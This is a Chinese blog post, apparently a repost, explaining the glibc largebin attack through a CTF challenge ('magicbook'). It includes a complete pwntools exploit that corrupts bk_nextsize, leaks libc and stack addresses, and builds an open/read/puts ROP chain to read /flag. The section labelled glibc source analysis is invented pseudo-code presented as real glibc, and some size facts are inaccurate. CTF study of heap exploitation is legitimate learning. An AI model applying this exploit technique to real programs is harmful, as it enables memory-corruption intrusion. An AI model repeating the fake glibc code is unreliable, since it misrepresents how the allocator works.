首页 星云 工具 资源 星选 资讯 热门工具
:

PDF转图片 完全免费 小红书视频下载 无水印 抖音视频下载 无水印 数字星空

常回家看看之largebin_attack

编程知识
2024年07月25日 10:00

常回家看看之largebin_attack

先简单介绍一下什么是largebin

largebin 是 glibc 的 malloc 实现中用于管理大块内存的一种数据结构。在 glibc 的内存分配中,largebinbin 系列的一部分,用于存储大小超过某个阈值的空闲内存块。largebin 的设计目标是提高内存管理的效率,并减少内存碎片。

简单点就是用来管理较大的堆块的

  • 起始大小:largebin 管理的内存块大小从 smallbin 范围的最大值 + 1 开始。具体来说,smallbin 的最大块大小是 512 字节,因此 largebin 的起始大小是 513 字节。
  • 无上限:largebin 的内存块没有固定的上限。任何大于 512 字节的空闲内存块都会被插入到适当的 largebin 中。
  • 当有较大堆块被释放的时候,先进入unsortbin,再次进行分配的时候,如果有合适的,则将堆块分割,剩下的部分仍然进入unsortbin,如果没有合适的则进入largebin

largebin和其他bin的区别

  在 largebin 中,每个大块内存块除了标准的双向链表指针 fd(forward)和 bk(backward)外,还包含额外的指针 fd_nextsizebk_nextsize。这些指针的作用如下:

  • fdbk:指向当前链表中前后相邻的内存块,用于维护基本的双向链表。
  • fd_nextsizebk_nextsize:指向按大小排序的前后相邻内存块,用于维护按大小排序的链

作用:

  • fd_nextsize:指向当前内存块大小相同或更大的下一个内存块。
  • bk_nextsize:指向当前内存块大小相同或更小的前一个内存块。

这种结构允许 largebin 维护两条链表:一条是按插入顺序排列的链表(使用 fdbk 指针),另一条是按大小排序的链表(使用 fd_nextsizebk_nextsize 指针)。

Large Bin 的插入顺序:

  • 按大小排序:首先根据大小从大到小对堆块进行排序。较小的块链接在较大的块之后。
  • 按释放时间排序:对于大小相同的块,按它们被释放的时间顺序进行排序。先释放的块排在前面。
  • fd_nextsizebk_nextsize 指针:
  • 对于多个大小相同的堆块,只有第一个块(即首堆块)的 fd_nextsizebk_nextsize 指针指向其他块。
  • 后续相同大小的堆块的 fd_nextsizebk_nextsize 指针均为 0。

循环链表:

  • 大小最大的块的 bk_nextsize 指向大小最小的块。
  • 大小最小的块的 fd_nextsize 指向大小最大的块。

原理:

  • Largebin 是 glibc 内存分配器中用于存储较大内存块的链表。每个块不仅包含指向前后块的指针 (fdbk),还包含指向相同大小块的指针 (fd_nextsizebk_nextsize)。
  • 当一个内存块被释放后,它会被放入适当的 bin 中。如果是大块,则放入 Largebin。
  • 当分配新的内存块时,glibc 会尝试从适当的 bin 中找到合适的块进行分配。在 Largebin 中,按大小排序的链表有助于快速找到合适的块。
  • 攻击者可以通过伪造指针,特别是 bk_nextsize,来控制内存分配器的行为,从而实现任意地址写入。

glibc 源码分析

1.当一个块被释放并符合 Largebin 条件时,会被放入 Largebin 中。以下是 glibc 中 mallocfree 操作的相关部分:

void _int_free(mstate av, mchunkptr p) {
    // ... other code ...

    // Determine the bin to use
    if (chunk_in_largebin_range(size)) {
        // Add to Largebin
        mchunkptr bck = largebin[bin_index];
        mchunkptr fwd = bck->fd;
        
        p->bk = bck;
        p->fd = fwd;
        bck->fd = p;
        fwd->bk = p;
        
        // Update nextsize pointers
        mchunkptr next_chunk = largebin[bin_index]->fd_nextsize;
        while (next_chunk != NULL && chunksize(next_chunk) < size) {
            next_chunk = next_chunk->fd_nextsize;
        }
        p->fd_nextsize = next_chunk;
        p->bk_nextsize = next_chunk->bk_nextsize;
        next_chunk->bk_nextsize = p;
        next_chunk->fd_nextsize = p;
    }

    // ... other code ...
}

2. 修改 bk_nextsize

我们需要找到一种方式修改 Largebin 中块的 bk_nextsize 字段。

chunk1->bk_nextsize = Target - 0x20;

3. 分配新块触发攻击

当分配一个新的块时,glibc 会尝试找到合适的块进行分配。在这个过程中,伪造的 bk_nextsize 会被用来更新指针,导致任意地址写入。

void* _int_malloc(mstate av, size_t bytes) {
    // ... other code ...

    if (bytes > MAX_SMALLBIN_SIZE) {
        // Check Largebin
        mchunkptr victim = largebin[bin_index];
        
        if (victim != NULL) {
            // Remove from Largebin
            mchunkptr bck = victim->bk;
            mchunkptr fwd = victim->fd;
            
            bck->fd = fwd;
            fwd->bk = bck;
            
            // Update nextsize pointers
            mchunkptr next_chunk = victim->fd_nextsize;
            next_chunk->bk_nextsize = victim->bk_nextsize;
            victim->bk_nextsize->fd_nextsize = next_chunk;
            
            // Allocate the chunk
            set_inuse_bit_at_offset(victim, bytes);
            return chunk2mem(victim);
        }
    }

    // ... other code ...
}

通过上周的比赛题目可以很好的介绍largebin_attack
题目地址:
https://buuoj.cn/match/matches/207/challenges#magicbook

题目保护情况:没有开canary保护

64位ida逆向

存在3个功能,一个一个看

add,申请堆块大小和数量都有限制

free,不仅存在UAF,而且还有任意堆块数据部分+8处0x18字节写的功能

edit,如果book处的地址很大存在栈溢出

沙箱保护

思路:通过largebin_attack,将book处的地址变成一个较大的数据(头指针),然后通过栈溢出,orw读取数据

1.申请0x450,0x440,0x440(防止合并)大小的三个堆块

2.释放第一个堆块(此时进入unsortbin)

3.申请一个比第一个堆块大的堆块(此时进入largebin)

4.释放第二个堆块的同时,修改第一个堆块的bk_nextsize为book-0x20的位置

5.申请一个大堆块完成largebin_attack

6.栈溢出orw读取flag

exp:

 

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./magicbook')
elf = ELF('./magicbook')
libc = ELF('./libc.so.6')

success('puts--->'+hex(libc.sym['system']))

io.recvuntil(' gift: ')
elf_base = int(io.recv(14),16) - 0x4010
success('elf_base----->'+hex(elf_base))
ptr = elf_base + 0x4060


def add(size):
    io.sendlineafter('Your choice:','1')
    io.sendlineafter('your book need?',str(size))


def free0(index,ch,msg):
    io.sendlineafter('Your choice:','2')
    io.sendlineafter('want to delete?',str(index))
    io.sendlineafter('being deleted?(y/n)','y')
    io.sendlineafter('you want to write?',str(ch))
    io.sendafter('content: ',msg)

def free1(index):
    io.sendlineafter('Your choice:','2')
    io.sendlineafter('want to delete?',str(index))
    io.sendlineafter('being deleted?(y/n)','n')

def edit():
    io.sendlineafter('Your choice:','3')



book = 0x4050 + elf_base
ret = 0x101a + elf_base
pop_rdi = 0x0000000000001863  + elf_base # : pop rdi; ret; 
pop_rsi = 0x0000000000001861  + elf_base  #: pop rsi; pop r15; ret;
puts_plt = elf_base + 0x1140
puts_got = elf_base + 0x3F88
fanhui = elf_base + 0x15e1

#gdb.attach(io)
add(0x450) #0
add(0x440) #1
add(0x440) #2
free1(0)
add(0x498)
#gdb.attach(io)
payload = p64(ret) + p64(0) + p64(book - 0x20)
free0(2,0,payload)
add(0x4f0)

edit()
io.recvuntil('down your story!')
#gdb.attach(io)
payload = b'a'*0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(fanhui)
io.sendline(payload)
io.recvuntil('\n')
libc_bass = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['puts']
success('libc_bass---->'+hex(libc_bass))
io.recvuntil('down your story!')

pop_rdx_12 = 0x000000000011f2e7 + libc_bass#: pop rdx; pop r12; ret;
pop_rax = 0x0000000000045eb0 + libc_bass#: pop rax; ret; 
syscall = 0x0000000000091316 + libc_bass#: syscall; ret; 
open = libc_bass + libc.sym['open']
environ = libc_bass + libc.sym['environ']
success('environ---->'+hex(environ))
read = libc_bass + libc.sym['read']

payload = b'a'*0x28 + p64(pop_rdi) + p64(environ) + p64(puts_plt) + p64(fanhui)
#gdb.attach(io)
io.sendline(payload)
io.recvuntil('\n')
stack  = u64(io.recv(6).ljust(8,b'\x00')) - 0x148 + 0x20
success('stack---->'+hex(stack))
io.recvuntil('down your story!')
flag = stack + 0xb8
payload = b'a'*0x28 + p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)*2 + p64(open) 
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) +p64(0)+ p64(pop_rdx_12) + p64(0x30) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(stack + 0x100) + p64(puts_plt) 
print(len(payload))
payload += b'/flag\x00\x00'
#gdb.attach(io)
io.sendline(payload)

io.interactive()

总结:

Largebin Attack 利用条件和步骤

利用条件:

  1. 修改权限:能够修改 Largebin 中块的 bk_nextsize 字段。

  2. 堆块分配:程序能够分配至少三种不同大小的块,并确保这些块紧密相邻。

利用步骤:

  1. 分配堆块:

    • 分配一块大小为 size1 且在 Largebin 范围内的块 chunk1

    • 分配一块任意大小的块 pad1,以防止在释放 chunk1 时系统将其与 top chunk 合并。

    • 分配一块大小为 size2 且在 Largebin 范围内的块 chunk2,要求 size2 < size1chunk2 紧邻 chunk1

    • 分配一块任意大小的块 pad2,以防止在释放 chunk2 时系统将其与 top chunk 合并。

  2. 释放并重新分配:

    • 释放 chunk1,此时系统会将其放入 unsortedbin。再分配一个大小为 size3 的块,要求 size3 > size1,此时系统会将 chunk1 放进 Largebin 中。

    • 确保 chunk2 紧邻 chunk1

    • 释放 chunk2 进入 unsortedbin。

  3. 修改指针:

    • 修改 chunk1->bk_nextsizeTarget - 0x20

  4. 触发攻击:

    • 随意分配一个可以进入unsortbin的堆块,就会触发 Largebin attack。

From:https://www.cnblogs.com/CH13hh/p/18319386
本文地址: http://www.shuzixingkong.net/article/408
0评论
提交 加载更多评论
其他文章 Elasticjob执行job幂等
ElasticJob的幂等机制,是指作业分片执行的幂等,他需要做到以下两点: 同一个分片在当前作业实例上不会被重复执行 一个作业分片不能同时在多个作业实例上执行 如何实现幂等 场景模拟:存在任务A执行周期为10s一次。正常情况下任务处理耗时3-5s。但是某一时刻因为数据量突然增大或者因为数据库压力,
Django+Bootstrip 卡片模板设计 经典精品
下面是一个完整的卡片模板代码,包含所有元素,并使用Django的模板语言来处理状态字段的条件渲染。同时还包括示例视图和URL配置。 完整的卡片模板 &lt;div class=&quot;card&quot;&gt; &lt;!-- 卡片图片 --&gt; &lt;img src=&quot;{{
Django+Bootstrip 卡片模板设计 经典精品
使用 @Audited 增强Spring Boot 应用程序的数据审计能力
介绍 在Spring Boot开发的动态世界中,确保数据完整性和跟踪变化是至关重要的。实现这一目标的一个强大工具是@Audited注解。本文深入探讨了该注解的复杂性、其目的、实现步骤以及如何利用其功能进行有效的实体审计。 理解@Audited Spring Boot中的@Audited注解用于审计实
.NET 轻量级 命令行工具 CSharpRepl
前言 当我们需要快速测试代码片段时,常见的做法是启动Visual Studio或使用在线代码编辑器。然而,Visual Studio的启动可能较为缓慢且占用较多系统资源,而在线编辑器则可能遇到语法支持局限或网络延迟问题。 为解决这个问题,给大家推荐一款轻量级的本地C#执行工具——CSharpRepl
.NET 轻量级 命令行工具 CSharpRepl .NET 轻量级 命令行工具 CSharpRepl .NET 轻量级 命令行工具 CSharpRepl
胜未来:国内大模型+Agent应用案例精选,以及主流Agent框架开源项目推荐
智胜未来:国内大模型+Agent应用案例精选,以及主流Agent框架开源项目推荐 Agent是以大模型为核心的智能体,通过与用户对话的形式,来完成各种任务,它很像一个“人”。如果和人做类比,它应该具备以下能力: Agent的各个要素各个子模块: 1.对话式Agent 1.1 月之暗面(Moonsho
胜未来:国内大模型+Agent应用案例精选,以及主流Agent框架开源项目推荐 胜未来:国内大模型+Agent应用案例精选,以及主流Agent框架开源项目推荐 胜未来:国内大模型+Agent应用案例精选,以及主流Agent框架开源项目推荐
manim边学边做--Table
表格是一种常见的数据展示形式,manim提供了Table模块专门用于显示表格形式的数据。表格Table和上一节介绍的矩阵Matrix都是用来显示二维数据的,不过,Table的表现力更强,比如,它可以显示表头信息,列名信息等等。 Table模块也细分了多个对象: 通用Table:显示任何内容 Deci
manim边学边做--Table manim边学边做--Table manim边学边做--Table
.NET TCP、UDP、Socket、WebSocket
做.NET应用开发肯定会用到网络通信,而进程间通信是客户端开发使用频率较高的场景。 进程间通信方式主要有命名管道、消息队列、共享内存、Socket通信,个人使用最多的是Sokcet相关。 而Socket也有很多使用方式,Socket、WebSocket、TcpClient、UdpClient,是不是
给园子的会员送送优惠,和你的数据库聊聊天:会员权益「Chat2DB 特惠」上线
目前会员权益很少,而我们的开发人手极其有限,为了增加更多会员权益,我们想到一个暂时的偷懒方法,尝试找优秀的厂商合作,给园子的会员特别的优惠。幸运的是因为求救信偶遇一家有意向的AI厂商,而且公司就在杭州,而且产品与园子的用户群很匹配,于是很快地达成了合作
给园子的会员送送优惠,和你的数据库聊聊天:会员权益「Chat2DB 特惠」上线 给园子的会员送送优惠,和你的数据库聊聊天:会员权益「Chat2DB 特惠」上线